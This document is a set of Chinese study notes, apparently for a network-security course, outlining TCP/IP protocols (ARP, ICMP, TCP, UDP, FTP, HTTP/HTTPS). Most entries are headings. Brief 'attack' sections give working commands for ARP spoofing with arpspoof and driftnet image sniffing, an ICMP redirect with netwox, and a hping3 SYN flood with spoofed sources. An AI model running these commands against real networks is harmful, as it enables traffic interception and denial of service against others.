TCP/IP协议簇
1、协议
1、网卡
2、网卡的模式
概念:地址解析协议
1、查看ARP缓存
# 查看缓存
arp -a
# 清除缓存
arp -d
# 添加缓存
arp -s
2、攻击
# arp欺骗
arpspoof -i eth0 -t 目标ip 网关
# 开启转发
echo 1 > /proc/sys/net/ipv4/ip_forward
# 监听图片
driftnet
概念:控制报文协议,用于在IP主机或路由器之间传递控制消息
网络是否通畅、主机是否可以到达,路由是否可用
1、ICMP协议
2、ICMP报文格式
3、ICMP重定向
在某些特定情况下,路由器检测到主机使用非优化路由的时候,会向主机发送一个ICMP的重定向报文,使主机路由改变。
4、重定向攻击
ettercap
netwox
netwox 86 -g 新网关
传输层的功能:定义应用层协议数据报文的端口号,流量控制。
对原始数据进行分段处理
1、传输层提供的服务
2、传输层协议
3、TCP的报文字段
4、TCP的三次握手
5、TCP的四次挥手
6、TCP半关闭状态
7、TCP的半连接状态
8、常见的TCP端口号
21 ftp
22 ssh
23 telnet
25 smtp
53 dns 两台DNS服务器用到TCP 本身dns时udp
80 http
110 pop3
143 imap4
443 https
3306 mysql
3389 rdp
# kali开启网卡
ifup eth0
# kali关闭网卡
ifdown eth0
# linux查看路由
route -n
1、攻击
# hping3
hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.100
2、防御
UDP:用户数据报协议
1、特点
2、报文字段
3、常见UDP端口号
4、工具
用户动态获取IP地址(动态用户配置协议)
文件传输协议
由两部分组成:C/S架构
基于TCP协议,端口为20,21
1、主动模式
2、被动模式
3、传输文件模式
4、服务端程序
5、客户端程序
命令行
ftp 192.168.0.1 访问
资源管理器
ftp://192.168.0.1 访问
浏览器
ftp://192.168.0.1
第三方工具
5、FTP用户
【注】注意防火墙
1、概念
2、万维网服务
3、万维网服务软件
4、工作原理
客户端通过浏览器使用URL向HTTP服务器发送请求
WEB服务器根据收到的请求直接向客户机响应信息
HTTP默认端口为80,默认端口可以更改
【注意】
http无连接:每次连接只处理一个请求
http独立:任何数据都可以处理,采用适合的MIME类型
http无状态:没有记忆能力,后续处理需要重传
http+ssl/tls
1、基础
2、TLS
3、http缺陷
4、https好处
5、加密算法
对称加密
非对称加密
6、PKI体系
公钥基础设施
使用公钥技术和数字签名来确保信息安全
公钥加密技术(非对称加密),数字证书,CA(证书颁发机构),RA(证书注册机构)组成